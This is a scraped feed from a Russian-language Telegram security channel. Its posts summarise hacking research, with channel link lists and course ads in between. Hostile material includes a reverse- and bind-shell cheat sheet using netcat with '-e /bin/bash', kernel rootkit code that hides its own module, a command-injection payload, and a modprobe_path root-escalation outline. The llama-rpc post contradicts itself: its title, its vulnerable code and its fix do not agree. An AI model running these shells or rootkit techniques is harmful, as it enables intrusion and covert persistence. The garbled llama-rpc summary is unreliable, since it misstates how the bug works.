Telegram Web Link
Инъекция сбоев – Вниз по кроличьей норе

В статье автор описывает техники атак с использованием инъекций сбоев, стремясь понять их потенциал, исследуя их пределы и применимость с использованием доступного и недорогого оборудования.

Основное внимание уделяется методу "voltage glitching", поскольку он наиболее доступен при ограниченном бюджете. Суть метода заключается в кратковременном снижении напряжения питания микроконтроллера, что приводит его в нестабильное состояние. Существует несколько способов реализации "voltage glitching":

- Замыкание на землю (используется устройствами ChipWhisperer)
- Замыкание на высокий потенциал (есть риск повреждения микроконтроллера)
- Управляемое изменение напряжения питания

В статье автор использует метод замыкания на землю с помощью устройства ChipWhisperer-Husky.

В качестве цели атак выбран микроконтроллер ESP32 по нескольким причинам:

- Существует множество материалов по атакам на эту платформу.
- Версия чипа v3 содержит исправления, позволяющие протестировать устойчивость реализованных контрмер.
- Этот чип использовался в курсе TAoFI, что обеспечивает наличие готовой тестовой платы.

Автор ссылается на предыдущие исследования и рекомендует ознакомиться с ними для лучшего понимания темы:

- "Pwn the ESP32 Secure Boot"
- "Pwn the ESP32 Forever: Flash Encryption and Sec. Boot Keys Extraction"
- "Espressif ESP32: Bypassing Secure Boot using EMFI"
- "Espressif ESP32: Controlling PC during Secure Boot"
- "Espressif ESP32: Bypassing Flash Encryption (CVE-2020-15048)"
- "Espressif ESP32: Bypassing Encrypted Secure Boot (CVE-2020-13629)"
- "Unlimited Results: Breaking Firmware Encryption of ESP32-V3"
- "Breaking the Flash Encryption Feature of Espressif’s Parts"
- "Fault Injection Attacks against the ESP32-C3 and ESP32-C6"
- "Breaking Espressif’s ESP32 V3: Program Counter Control with Computed Values using Fault Injection"

В статье также рассматриваются методы создания "чистого" тестового окружения для исследования эффектов "glitching", включая использование минимального количества инструкций на ассемблере и анализ контекста выполнения для точного определения влияния инъекций сбоев.

https://security.humanativaspa.it/fault-injection-down-the-rabbit-hole/

👉@thehaking
👍9🔥2👏1
Реверс-инжиниринг прошивки принтера Lexmark

В статье автор делится опытом взлома принтеров Lexmark, несмотря на попытки производителя защитить прошивки с помощью шифрования и предотвращения отката. Автор описывает, как, используя уязвимости и обратный инжиниринг, удалось обойти новые меры безопасности и получить доступ к корневой файловой системе устройства. Это очередной пример того, как попытки производителей скрыть код могут быть преодолены при наличии должной мотивации и навыков.

https://haxx.in/posts/wtm-wtf/

👉@thehaking
👍6
Анализ уязвимостей маршрутизаторов Asus SOHO на основе сравнения исправлений (patch diffing)

В статье рассказывает об исследовании уязвимостей в роутерах ASUS, связанных с неаутентифицированными N-day эксплойтами. Исследователи проанализировали уязвимости, которые были исправлены производителем, но могут оставаться актуальными для устройств, которые еще не получили обновления.

Основные моменты:
- Разбор CVE-2023-39238 – уязвимость, позволяющая обходить аутентификацию.
- Использование фаззинга и реверс-инжиниринга прошивок для выявления уязвимостей.
- Примеры эксплойтов и возможных атак на уязвимые устройства.
- Рекомендации по защите и обновлению прошивок роутеров.

https://www.shielder.com/blog/2024/01/hunting-for-~~un~~authenticated-n-days-in-asus-routers/

👉@thehaking
👍3
Подборка Telegram каналов для программистов

https://www.tg-me.com/bash_srv Bash Советы
https://www.tg-me.com/win_sysadmin Системный Администратор Windows
https://www.tg-me.com/lifeproger Жизнь программиста. Авторский канал.
https://www.tg-me.com/devopslib Библиотека девопса | DevOps, SRE, Sysadmin
https://www.tg-me.com/rabota1C_rus Вакансии для программистов 1С

Системное администрирование 📌
https://www.tg-me.com/sysadmin_girl Девочка Сисадмин
https://www.tg-me.com/srv_admin_linux Админские угодья
https://www.tg-me.com/linux_srv Типичный Сисадмин

https://www.tg-me.com/linux_odmin Linux: Системный администратор
https://www.tg-me.com/devops_star DevOps Star (Звезда Девопса)
https://www.tg-me.com/i_linux Системный администратор
https://www.tg-me.com/linuxchmod Linux
https://www.tg-me.com/sys_adminos Системный Администратор
https://www.tg-me.com/tipsysdmin Типичный Сисадмин (фото железа, было/стало)
https://www.tg-me.com/sysadminof Книги для админов, полезные материалы
https://www.tg-me.com/i_odmin Все для системного администратора
https://www.tg-me.com/i_odmin_book Библиотека Системного Администратора
https://www.tg-me.com/i_odmin_chat Чат системных администраторов
https://www.tg-me.com/i_DevOps DevOps: Пишем о Docker, Kubernetes и др.
https://www.tg-me.com/sysadminoff Новости Линукс Linux

1C разработка 📌
https://www.tg-me.com/odin1C_rus Cтатьи, курсы, советы, шаблоны кода 1С
https://www.tg-me.com/DevLab1C 1С:Предприятие 8

Программирование C++📌
https://www.tg-me.com/cpp_lib Библиотека C/C++ разработчика
https://www.tg-me.com/cpp_knigi Книги для программистов C/C++
https://www.tg-me.com/cpp_geek Учим C/C++ на примерах

Программирование Python 📌
https://www.tg-me.com/pythonofff Python академия. Учи Python быстро и легко🐍
https://www.tg-me.com/BookPython Библиотека Python разработчика
https://www.tg-me.com/python_real Python подборки на русском и английском
https://www.tg-me.com/python_360 Книги по Python Rus

Java разработка 📌
https://www.tg-me.com/BookJava Библиотека Java разработчика
https://www.tg-me.com/java_360 Книги по Java Rus
https://www.tg-me.com/java_geek Учим Java на примерах

GitHub Сообщество 📌
https://www.tg-me.com/Githublib Интересное из GitHub

Базы данных (Data Base) 📌
https://www.tg-me.com/database_info Все про базы данных

Мобильная разработка: iOS, Android 📌
https://www.tg-me.com/developer_mobila Мобильная разработка
https://www.tg-me.com/kotlin_lib Подборки полезного материала по Kotlin

Фронтенд разработка 📌
https://www.tg-me.com/frontend_1 Подборки для frontend разработчиков
https://www.tg-me.com/frontend_sovet Frontend советы, примеры и практика!
https://www.tg-me.com/React_lib Подборки по React js и все что с ним связано

Разработка игр 📌
https://www.tg-me.com/game_devv Все о разработке игр

Библиотеки 📌
https://www.tg-me.com/book_for_dev Книги для программистов Rus
https://www.tg-me.com/programmist_of Книги по программированию
https://www.tg-me.com/proglb Библиотека программиста
https://www.tg-me.com/bfbook Книги для программистов
https://www.tg-me.com/books_reserv Книги для программистов

БигДата, машинное обучение 📌
https://www.tg-me.com/bigdata_1 Data Science, Big Data, Machine Learning, Deep Learning

Программирование 📌
https://www.tg-me.com/bookflow Лекции, видеоуроки, доклады с IT конференций
https://www.tg-me.com/coddy_academy Полезные советы по программированию
https://www.tg-me.com/rust_lib Полезный контент по программированию на Rust
https://www.tg-me.com/golang_lib Библиотека Go (Golang) разработчика
https://www.tg-me.com/itmozg Программисты, дизайнеры, новости из мира IT
https://www.tg-me.com/php_lib Библиотека PHP программиста 👨🏼‍💻👩‍💻
https://www.tg-me.com/nodejs_lib Подборки по Node js и все что с ним связано
https://www.tg-me.com/ruby_lib Библиотека Ruby программиста

QA, тестирование 📌
https://www.tg-me.com/testlab_qa Библиотека тестировщика

Шутки программистов 📌
https://www.tg-me.com/itumor Шутки программистов

Защита, взлом, безопасность 📌
https://www.tg-me.com/thehaking Канал о кибербезопасности
https://www.tg-me.com/xakep_2 Хакер Free

Книги, статьи для дизайнеров 📌
https://www.tg-me.com/ux_web Статьи, книги для дизайнеров

Математика 📌
https://www.tg-me.com/Pomatematike Канал по математике
https://www.tg-me.com/phis_mat Обучающие видео, книги по Физике и Математике

Excel лайфхак📌
https://www.tg-me.com/Excel_lifehack

https://www.tg-me.com/tikon_1 Новости высоких технологий, науки и техники💡
https://www.tg-me.com/mir_teh Мир технологий (Technology World)

Вакансии 📌
https://www.tg-me.com/sysadmin_rabota Системный Администратор
https://www.tg-me.com/progjob Вакансии в IT
1👍1
Forwarded from Хакер Free
KrbRelayEx — это инструмент для эксплуатации уязвимостей в Kerberos и NTLM, позволяющий проводить атаки на основе релея аутентификации. Он предназначен для пентестеров и специалистов по кибербезопасности, изучающих слабые места в инфраструктуре Active Directory.

Репозиторий содержит различные техники атаки, включая:

- Релеинг Kerberos — использование переданных учетных данных для обхода ограничений.
- NTLM релеинг — манипуляции с аутентификацией для повышения привилегий.
- Отладка и тестирование — инструменты для исследования механизмов защиты.

https://github.com/decoder-it/KrbRelayEx

🔐 @xakep_2
👍2
🚀 Хотите стать лидером в кибербезопасности? Управляйте рисками, защищайте данные и создавайте надежные стратегии информационной безопасности на курсе CISO от OTUS!

📅 Старт курса уже скоро! 27 марта!

Длительность: 4 месяца

📍 Формат: Онлайн

💡 Для кого этот курс?

✔️ Специалистов по информационной безопасности

✔️ Руководителей и ИТ-менеджеров

✔️ Консультантов и аудиторов в сфере ИБ

✔️ Разработчиков, стремящихся к карьерному росту

🔎 Что вы получите?

Глубокое понимание киберугроз и защиты данных.

Развитие лидерских навыков и управление командами.

Освоение стратегического планирования и бюджетирования ИБ.

Работа с международными стандартами (ISO 27001/27002).

Практическую разработку стратегии кибербезопасности.

👨‍🏫 Обучение у экспертов-практиков!

📌 Интерактивные вебинары с преподавателями

📌 Домашние задания с обратной связью

📌 Доступ к записям занятий навсегда

📌 Реальные кейсы и выпускной проект

🔥 Готовы прокачать свои навыки в ИБ?

Присоединяйтесь к курсу и станьте экспертом в защите информации!
https://vk.cc/cJN8D6

Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576
Введение в реверс-инжиниринг встроенных устройств для начинающих

Ghidra setup: https://voidstarsec.com/blog/ghidra-dev-environment

Tools: https://voidstarsec.com/blog/intro-to-embedded-part-1

Firmware extraction: https://voidstarsec.com/blog/uart-uboot-and-usb

👉@thehaking
👍73
💥 RCE в ngx_http_lua_module через AIXCC

Недавно я обнаружил способ удаленного выполнения кода (RCE) в Nginx, использующем ngx_http_lua_module. Уязвимость вызвана тем, как модуль работает с префиксами путей, когда Nginx собран с --with-compat и использует --add-dynamic-module.

🔍 Предпосылки

Я пытался динамически скомпилировать ngx_http_lua_module и подключить его к Nginx, собранному с --with-compat, чтобы проверить, как он себя поведет. В процессе нашел интересную особенность: ngx_http_lua_module использует переменную ngx_prefix, но эта переменная не всегда корректно инициализируется в динамических модулях.

🛠 Суть уязвимости

ngx_http_lua_module использует ngx_prefix для построения путей к временным файлам и другим ресурсам. Однако, если модуль подключен динамически, переменная ngx_prefix может быть NULL, что приводит к потенциальному RCE через манипуляцию путями.

🔥 Эксплуатация

Можно сконфигурировать модуль так, чтобы он обращался к произвольным путям на файловой системе. В случае, если есть возможность загрузить произвольный Lua-скрипт или использовать lua_code_cache off, это может привести к выполнению произвольного кода.


🛡 Решение

Патч был предложен и принят в OpenResty: теперь используется ngx_cycle->prefix.data, если ngx_prefix не инициализирован. Рекомендуется обновиться до последней версии или вручную применить патч. Также стоит избегать загрузки Lua из непроверенных источников и включать lua_code_cache.


📎 Вывод

Если вы используете Nginx с динамически подключаемыми модулями и ngx_http_lua_module, обязательно проверьте конфигурацию и примените обновление. Уязвимость достаточно серьезная для эксплуатации в реальных условиях.

https://roundofthree.github.io/posts/nginx-aixcc-pwn/

👉@thehaking
👍8🔥2
This media is not supported in your browser
VIEW IN TELEGRAM
🔴 Reverse Shell

- 1. Атакующий запускает listener на своём устройстве (nc -lvnp 4444).
- 2. Жертва (машина 10.10.10.20) получает вредоносный payload, который инициирует исходящее соединение на IP атакующего (10.10.10.10) и указанный порт.
- 3. После установления соединения атакующий получает удалённый доступ к командной оболочке жертвы.

📌 Пример команды на жертве:

nc 10.10.10.10 4444 -e /bin/bash




🔵 Bind Shell

- 1. Жертва запускает listener на своей машине (например, nc -lvnp 4444 -e /bin/bash).
- 2. Атакующий (10.10.10.10) подключается к этому открытому порту (nc 10.10.10.20 4444).
- 3. После подключения атакующий получает доступ к оболочке.

📌 Пример команды на жертве:

nc -lvnp 4444 -e /bin/bash


👉@thehaking
👍51
Подборка Telegram каналов для программистов

https://www.tg-me.com/bash_srv Bash Советы
https://www.tg-me.com/win_sysadmin Системный Администратор Windows
https://www.tg-me.com/lifeproger Жизнь программиста. Авторский канал.
https://www.tg-me.com/devopslib Библиотека девопса | DevOps, SRE, Sysadmin
https://www.tg-me.com/rabota1C_rus Вакансии для программистов 1С

Системное администрирование 📌
https://www.tg-me.com/sysadmin_girl Девочка Сисадмин
https://www.tg-me.com/srv_admin_linux Админские угодья
https://www.tg-me.com/linux_srv Типичный Сисадмин

https://www.tg-me.com/linux_odmin Linux: Системный администратор
https://www.tg-me.com/devops_star DevOps Star (Звезда Девопса)
https://www.tg-me.com/i_linux Системный администратор
https://www.tg-me.com/linuxchmod Linux
https://www.tg-me.com/sys_adminos Системный Администратор
https://www.tg-me.com/tipsysdmin Типичный Сисадмин (фото железа, было/стало)
https://www.tg-me.com/sysadminof Книги для админов, полезные материалы
https://www.tg-me.com/i_odmin Все для системного администратора
https://www.tg-me.com/i_odmin_book Библиотека Системного Администратора
https://www.tg-me.com/i_odmin_chat Чат системных администраторов
https://www.tg-me.com/i_DevOps DevOps: Пишем о Docker, Kubernetes и др.
https://www.tg-me.com/sysadminoff Новости Линукс Linux

1C разработка 📌
https://www.tg-me.com/odin1C_rus Cтатьи, курсы, советы, шаблоны кода 1С
https://www.tg-me.com/DevLab1C 1С:Предприятие 8

Программирование C++📌
https://www.tg-me.com/cpp_lib Библиотека C/C++ разработчика
https://www.tg-me.com/cpp_knigi Книги для программистов C/C++
https://www.tg-me.com/cpp_geek Учим C/C++ на примерах

Программирование Python 📌
https://www.tg-me.com/pythonofff Python академия. Учи Python быстро и легко🐍
https://www.tg-me.com/BookPython Библиотека Python разработчика
https://www.tg-me.com/python_real Python подборки на русском и английском
https://www.tg-me.com/python_360 Книги по Python Rus

Java разработка 📌
https://www.tg-me.com/BookJava Библиотека Java разработчика
https://www.tg-me.com/java_360 Книги по Java Rus
https://www.tg-me.com/java_geek Учим Java на примерах

GitHub Сообщество 📌
https://www.tg-me.com/Githublib Интересное из GitHub

Базы данных (Data Base) 📌
https://www.tg-me.com/database_info Все про базы данных

Мобильная разработка: iOS, Android 📌
https://www.tg-me.com/developer_mobila Мобильная разработка
https://www.tg-me.com/kotlin_lib Подборки полезного материала по Kotlin

Фронтенд разработка 📌
https://www.tg-me.com/frontend_1 Подборки для frontend разработчиков
https://www.tg-me.com/frontend_sovet Frontend советы, примеры и практика!
https://www.tg-me.com/React_lib Подборки по React js и все что с ним связано

Разработка игр 📌
https://www.tg-me.com/game_devv Все о разработке игр

Библиотеки 📌
https://www.tg-me.com/book_for_dev Книги для программистов Rus
https://www.tg-me.com/programmist_of Книги по программированию
https://www.tg-me.com/proglb Библиотека программиста
https://www.tg-me.com/bfbook Книги для программистов
https://www.tg-me.com/books_reserv Книги для программистов

БигДата, машинное обучение 📌
https://www.tg-me.com/bigdata_1 Data Science, Big Data, Machine Learning, Deep Learning

Программирование 📌
https://www.tg-me.com/bookflow Лекции, видеоуроки, доклады с IT конференций
https://www.tg-me.com/coddy_academy Полезные советы по программированию
https://www.tg-me.com/rust_lib Полезный контент по программированию на Rust
https://www.tg-me.com/golang_lib Библиотека Go (Golang) разработчика
https://www.tg-me.com/itmozg Программисты, дизайнеры, новости из мира IT
https://www.tg-me.com/php_lib Библиотека PHP программиста 👨🏼‍💻👩‍💻
https://www.tg-me.com/nodejs_lib Подборки по Node js и все что с ним связано
https://www.tg-me.com/ruby_lib Библиотека Ruby программиста

QA, тестирование 📌
https://www.tg-me.com/testlab_qa Библиотека тестировщика

Шутки программистов 📌
https://www.tg-me.com/itumor Шутки программистов

Защита, взлом, безопасность 📌
https://www.tg-me.com/thehaking Канал о кибербезопасности
https://www.tg-me.com/xakep_2 Хакер Free

Книги, статьи для дизайнеров 📌
https://www.tg-me.com/ux_web Статьи, книги для дизайнеров

Математика 📌
https://www.tg-me.com/Pomatematike Канал по математике
https://www.tg-me.com/phis_mat Обучающие видео, книги по Физике и Математике

Excel лайфхак📌
https://www.tg-me.com/Excel_lifehack

https://www.tg-me.com/tikon_1 Новости высоких технологий, науки и техники💡
https://www.tg-me.com/mir_teh Мир технологий (Technology World)

Вакансии 📌
https://www.tg-me.com/sysadmin_rabota Системный Администратор
https://www.tg-me.com/progjob Вакансии в IT
👍21
Шпаргалка по кэш-атакам через процессы (Cross-Process Cache Attack)

Cross-Cache Attacks — это типы атак стороннего канала, использующие поведение процессорного кэша для извлечения секретных данных. Такие атаки часто задействуют манипуляции с TLB (Translation Lookaside Buffer), кэшами инструкций и данных.

Примеры атак

1. Prime+Probe
- Атакующий «заполняет» кэш своими данными (prime).
- Ждет, пока жертва выполнит инструкции.
- Потом проверяет, были ли вытеснены его данные из кэша (probe).
- Может использоваться без доступа к адресному пространству жертвы.

2. Flush+Reload
- Используется, когда атакующий и жертва разделяют память (например, общие библиотеки).
- Атакующий очищает кэш (flush) для определённого адреса.
- После действий жертвы проверяет, был ли адрес перезагружен в кэш (reload).
- Требует высокого разрешения таймеров.

3. Evict+Time
- Атакующий вытесняет данные из кэша.
- Измеряет время выполнения функции у жертвы.
- Разница во времени может указать на использование кэша.



Защита от атак

- Отключение или изоляция общих библиотек.
- Использование тайминг-рандомизации.
- Очистка кэшей при переключении контекста.
- Ограничение доступа к высокоточным таймерам.
- Использование аппаратной изоляции (например, Intel CAT/MBM).

https://u1f383.github.io/linux/2025/01/03/cross-cache-attack-cheatsheet.html

👉@thehaking
2👍2
Искусство создания руткитов для ядра Linux

В этом посте мы рассмотрим базовую архитектуру руткитов для ядра Linux, а также разработаем простой модуль, который скрывает файлы, процессы и сетевые подключения.


1. Что такое руткит ядра?

Руткит ядра — это вредоносный модуль, работающий на уровне ядра, который может скрывать процессы, файлы, модули и сетевые соединения. Его основная задача — обеспечение скрытности: пользователь и системы безопасности не должны замечать его присутствия.

2. Подготовка окружения

Для разработки руткита необходимы:

- Ядро Linux (желательно в виртуальной машине)
- Установленные заголовки ядра (linux-headers)
- Компилятор gcc и инструменты сборки (make)

3. Простейший модуль ядра


#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void) {
printk(KERN_INFO "Простой руткит загружен\n");
return 0;
}

void cleanup_module(void) {
printk(KERN_INFO "Простой руткит выгружен\n");
}

MODULE_LICENSE("GPL");


Такой модуль можно собрать и загрузить с помощью insmod. Он пока ничего не делает, но это основа.

4. Сокрытие модулей

Для сокрытия модуля из списка lsmod можно удалить его из kobj-структур ядра:


list_del(&__this_module.list);
kobject_del(&THIS_MODULE->mkobj.kobj);


Это уберет модуль из /proc/modules и /sys/module.

5. Сокрытие процессов

Процессы отображаются в /proc. Чтобы скрыть их, можно перехватить системные вызовы, например readdir, и фильтровать каталоги, соответствующие PIDs.

6. Сокрытие файлов

Файлы также можно скрывать, перехватывая системные вызовы getdents или getdents64 и фильтруя записи, содержащие определенные имена.

7. Сокрытие сетевых соединений

Сетевые подключения можно скрывать, модифицируя вывод /proc/net/tcp и других файлов, перехватывая seq_show функции.

8. Детектирование и защита

Хотя руткиты могут быть крайне скрытными, их можно обнаружить:

- Сравнивая список модулей из /proc/modules и dmesg
- Используя инструменты типа rkhunter, chkrootkit
- Сравнивая системные вызовы с эталонными

Этот пост — лишь введение. Реальные руткиты намного сложнее и используют продвинутые техники. Но теперь у вас есть представление, с чего начать.

https://inferi.club/post/the-art-of-linux-kernel-rootkits

👉@thehaking
👍7🔥4
Перехват системных вызовов

Иногда возникает необходимость узнать, какие системные вызовы выполняет программа, и, возможно, даже изменить поведение некоторых из них. Существует множество способов сделать это — от трассировки с помощью strace до написания собственного пользовательского ядра. В этом посте я покажу, как можно использовать LD_PRELOAD для перехвата вызовов libc, которые в конечном итоге становятся системными вызовами, а также как использовать seccomp для контроля за поведением на уровне ядра.

LD_PRELOAD

Когда вы вызываете open() или read() в C, вы на самом деле не делаете системный вызов напрямую. Вместо этого вы вызываете обёртку из libc, которая вызывает syscall(), который, в свою очередь, вызывает системный вызов. Это значит, что если мы можем внедрить свою собственную версию open() до загрузки libc, то наша функция будет вызвана первой.

Пример:


#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <fcntl.h>

int open(const char *pathname, int flags, mode_t mode) {
printf("Intercepted open: %s\n", pathname);

int (*original_open)(const char *, int, mode_t);
original_open = dlsym(RTLD_NEXT, "open");

return original_open(pathname, flags, mode);
}


Компилируем:


gcc -shared -fPIC intercept.c -o intercept.so -ldl


Используем:


LD_PRELOAD=./intercept.so ./some_binary


Теперь всякий раз, когда some_binary вызывает open(), сначала будет вызвана наша функция.

seccomp

Если нужно перехватить системные вызовы на уровне ядра, можно использовать seccomp. Это механизм фильтрации системных вызовов в Linux, который позволяет разрешить, отклонить или модифицировать поведение вызовов.

Вот пример фильтра, который запрещает вызов openat:


#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <unistd.h>

void install_filter() {
struct sock_filter filter[] = {
// Проверка: если syscall == openat, то отказ
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, SYS_openat, 0, 1),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

// В противном случае — разрешить
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};

struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};

prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}


Вызовите install_filter() перед выполнением подозрительного кода — теперь любые попытки открыть файл через openat() завершатся сбоем.

Заключение

LD_PRELOAD отлично подходит для тестирования и подмены поведения на уровне пользователя, в то время как seccomp позволяет установить жесткие ограничения на уровне ядра. Оба метода мощные и полезные в зависимости от вашей цели — будь то отладка, аудит или sandboxing.


https://blog.mggross.com/intercepting-syscalls/

👉@thehaking
👍62
🔒 Хотите увидеть, как эффективно защищать IT-инфраструктуру в реальном времени?

Присоединяйтесь к открытому уроку по Wazuh — инструменту, который объединяет мониторинг безопасности, анализ угроз и автоматизацию защиты в одном решении.

Интересуетесь SIEM? Мы разберем ключевые возможности Wazuh:
— как он отслеживает угрозы и аномалии,
— как проводит инвентаризацию, корреляцию и анализ уязвимостей,
— как работает с логами Windows и Linux,
— как интегрируется с другими ИБ-инструментами.

Ответим на ваши вопросы и разберем кейсы использования.

👨‍💻 После вебинара вы:

— получите чёткое представление о возможностях Wazuh,
— узнаете, где он максимально эффективен,
— поймёте, как его использовать в своих проектах.

Для кого: архитекторы ИБ и SOC, инженеры SIEM, руководители ИБ-подразделений.

Когда: 8 апреля в 20:00 мск
Бонус: участникам — скидка на курс «Специалист по внедрению SIEM»

👉 Зарегистрируйтесь по ссылке: https://vk.cc/cKpWZP

Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576
This media is not supported in your browser
VIEW IN TELEGRAM
Эксплуатация переполнения кучи в Llama.cpp

В этом посте я расскажу об уязвимости удалённого выполнения кода (RCE), которую я обнаружил llama-rpc, популярном проекте, использующем API LLaMA.cpp с функцией автозаполнения.

Обзор

llama-rpc — это простой RPC-сервер на основе WebSocket, разработанный для взаимодействия с LLaMA.cpp. Он позволяет отправлять запросы на генерацию текста и получать ответы через WebSocket API.

Во время изучения проекта я заметил, что он поддерживает загрузку пользовательских моделей и конфигураций через HTTP API. Это потенциально опасно, если сервер обрабатывает пользовательские пути без должной фильтрации или защиты.

Уязвимость

Во время анализа кода llama-rpc я нашёл следующий фрагмент в обработчике /v1/chat/completions:


prompt = data.get("prompt", "")
response = subprocess.run(
["llama", "--model", model_path, "--prompt", prompt],
capture_output=True,
)


Здесь prompt напрямую передаётся в subprocess.run без какой-либо очистки. Это означает, что если пользователь сможет управлять содержимым prompt, он может инжектить произвольные команды shell.

Эксплуатация

Предположим, что сервер доступен по сети и вы можете отправлять HTTP-запросы. Вы можете сформировать следующий запрос:


{
"prompt": "\"; touch /tmp/pwned; echo \""
}


Это приведёт к выполнению команды touch /tmp/pwned на сервере — классический пример RCE.

Исправление

Очевидный способ защиты — никогда не использовать subprocess с небезопасными данными без очистки. Вместо этого лучше использовать subprocess.run с передачей аргументов как списка и без shell=True.

Также стоит избегать прямого использования пользовательских данных в системных вызовах. Лучше применять строгую валидацию ввода и использовать безопасные API.

https://retr0.blog/blog/llama-rpc-rce

👉@thehaking
👍41
Обход техники изоляции ядра Linux с использованием инфраструктуры BPF.

https://cs.brown.edu/~vpk/papers/epf.atc23.pdf

👉@thehaking
👍2
🚀 Подпишись и прокачай свои скилы: лучшие каналы для IT-специалистов 👨‍💻📲

Папка с каналами для DevOps, Linux - Windows СисАдминов 👍

Папка с каналами для 1С программистов 🧑‍💻

Папка с каналами для C++ программистов 👩‍💻

Папка с каналами для Python программистов 👩‍💻

Папка с каналами для Java программистов 🖥

Папка с книгами для программистов 📚

Папка для программистов (frontend, backend, iOS, Android) 💻


GitHub Сообщество 🧑‍💻
https://www.tg-me.com/Githublib Интересное из GitHub

Базы данных (Data Base) 🖥
https://www.tg-me.com/database_info Все про базы данных


Разработка игр 📱
https://www.tg-me.com/game_devv Все о разработке игр

БигДата, машинное обучение 🖥
https://www.tg-me.com/bigdata_1 Data Science, Big Data, Machine Learning, Deep Learning


QA, тестирование 🖥
https://www.tg-me.com/testlab_qa Библиотека тестировщика

Шутки программистов 📌
https://www.tg-me.com/itumor Шутки программистов

Защита, взлом, безопасность 💻
https://www.tg-me.com/thehaking Канал о кибербезопасности
https://www.tg-me.com/xakep_2 Хакер Free

Книги, статьи для дизайнеров 🎨
https://www.tg-me.com/ux_web Статьи, книги для дизайнеров

Математика 🧮
https://www.tg-me.com/Pomatematike Канал по математике
https://www.tg-me.com/phis_mat Обучающие видео, книги по Физике и Математике

Excel лайфхак🙃
https://www.tg-me.com/Excel_lifehack

Технологии 🖥
https://www.tg-me.com/tikon_1 Новости высоких технологий, науки и техники💡
https://www.tg-me.com/mir_teh Мир технологий (Technology World)

Вакансии 💰
https://www.tg-me.com/sysadmin_rabota Системный Администратор
https://www.tg-me.com/progjob Вакансии в IT
https://www.tg-me.com/rabota1C_rus Вакансии для программистов 1С
Please open Telegram to view this post
VIEW IN TELEGRAM
1
Возрождение техники modprobe_path: преодоление патча search_binary_handler

Один из наиболее часто используемых методов эскалации привилегий в Linux — это подмена пути modprobe_path, что позволяет атакующему выполнить произвольный бинарник от имени root. Эта техника используется уже много лет, и разработчики ядра давно внедрили различные способы её блокировки.

В 2020 году был добавлен патч, модифицирующий поведение функции search_binary_handler(). Он проверяет, что вызываемый бинарник действительно существует и является исполняемым файлом. Это усложнило эксплуатацию уязвимостей, завязанных на modprobe_path.

Тем не менее, исследователи из Theori нашли способ обойти этот патч и снова использовать modprobe_path для повышения привилегий. Основной трюк заключается в создании файла, который выглядит как некорректный ELF-бинарник, но при этом успешно проходит проверку search_binary_handler().

Ключевые моменты:
• Патч 2020 года проверяет валидность пути и тип файла.
• Обход возможен, если создать файл с ELF-заголовком, но намеренно испорченным содержимым.
• Такой файл не исполняется напрямую, но вызывает механизм modprobe, поскольку ядро не может найти подходящий бинарный хендлер.
• Если modprobe_path указывает на контролируемый путь, можно подложить скрипт, который выполнится от root.

Таким образом, классическая техника эксплуатации через modprobe_path снова становится актуальной — пусть и с дополнительными условиями.

https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch

👉@thehaking
2👍1
2025/07/09 04:28:41
Back to Top
HTML Embed Code: